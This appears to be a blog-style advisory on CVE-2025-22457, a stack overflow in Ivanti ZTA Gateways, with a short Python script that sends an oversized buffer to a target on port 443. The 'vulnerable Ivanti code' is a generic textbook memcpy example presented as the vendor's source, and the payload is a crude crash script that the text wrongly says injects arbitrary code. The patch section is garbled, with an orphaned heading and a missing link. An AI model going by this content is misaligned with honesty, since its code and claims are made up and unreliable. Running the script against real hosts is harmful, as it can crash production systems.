Ivanti, a leading software company, specializes in providing security and management solutions to organizations. Recently, a critical stack-based buffer overflow vulnerability (CVE-2025-22457) was discovered in the following versions of Ivanti products:

Ivanti ZTA Gateways before version 22.8R2.2

The vulnerability, identified by CVE-2025-22457, allows a remote unauthenticated attacker to achieve remote code execution on the target host. If your organization’s infrastructure relies on the affected Ivanti products, it is crucial that you take immediate action to patch and mitigate this vulnerability.

Vulnerability Details

CVE-2025-22457 is a high-risk stack-based buffer overflow vulnerability. In stack-based vulnerabilities, an attacker can exploit a target system's memory and gain control of its execution flow. This can lead to unauthorized access and remote code execution.

The vulnerable code snippet in Ivanti products is as follows

void ivanti_receive(char* input, size_t length){
	char buffer[256];
	memcpy(buffer, input, length);
}

This code snippet demonstrates that Ivanti's reception function suffers from a classic stack-based buffer overflow vulnerability. The function accepts an input string with a length and then attempts to copy the string to a stack buffer. However, the function fails to check the string's length, potentially causing a buffer overflow that would enable an attacker to overwrite adjacent memory regions.

Exploitation

Exploiting the vulnerability requires an attacker to send a crafted payload to the target system, causing the buffer overflow and subsequent execution of arbitrary code with permissions of the vulnerable application.

Here is an example of a crafted payload

#!/usr/bin/python

import socket

target_ip = "192.168.1.2"
target_port = 443

buf = "A" * 300

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(buf + "\r\n")
s.close()

This Python code snippet creates a straightforward payload, bloating the 'buf' variable to a size that would result in an overflow of the 256-byte buffer in the 'ivanti_receive' function. When executed, the attacker's payload would trigger the vulnerability on the target host and overwrite its contiguous memory with arbitrary code.

Ivanti ZTA Gateways version 22.8R2.2

It is strongly recommended that organizations using affected versions immediately apply these patches to mitigate the risk of exploitation. Additionally, network-level access controls should be examined to ensure unknown and untrusted sources cannot access systems running vulnerable Ivanti products. For more details and patch download links, please refer to the original advisory:

- Original Ivanti Advisory

Conclusion

The CVE-2025-22457 vulnerability in the Ivanti family products is a serious issue that could lead to remote code execution and unauthorized access to your organization's infrastructure. It is essential that appropriate steps are taken to patch affected systems and shield the organization from potential attacks by implementing necessary network-level controls.

Timeline

Published on: 04/03/2025 16:15:35 UTC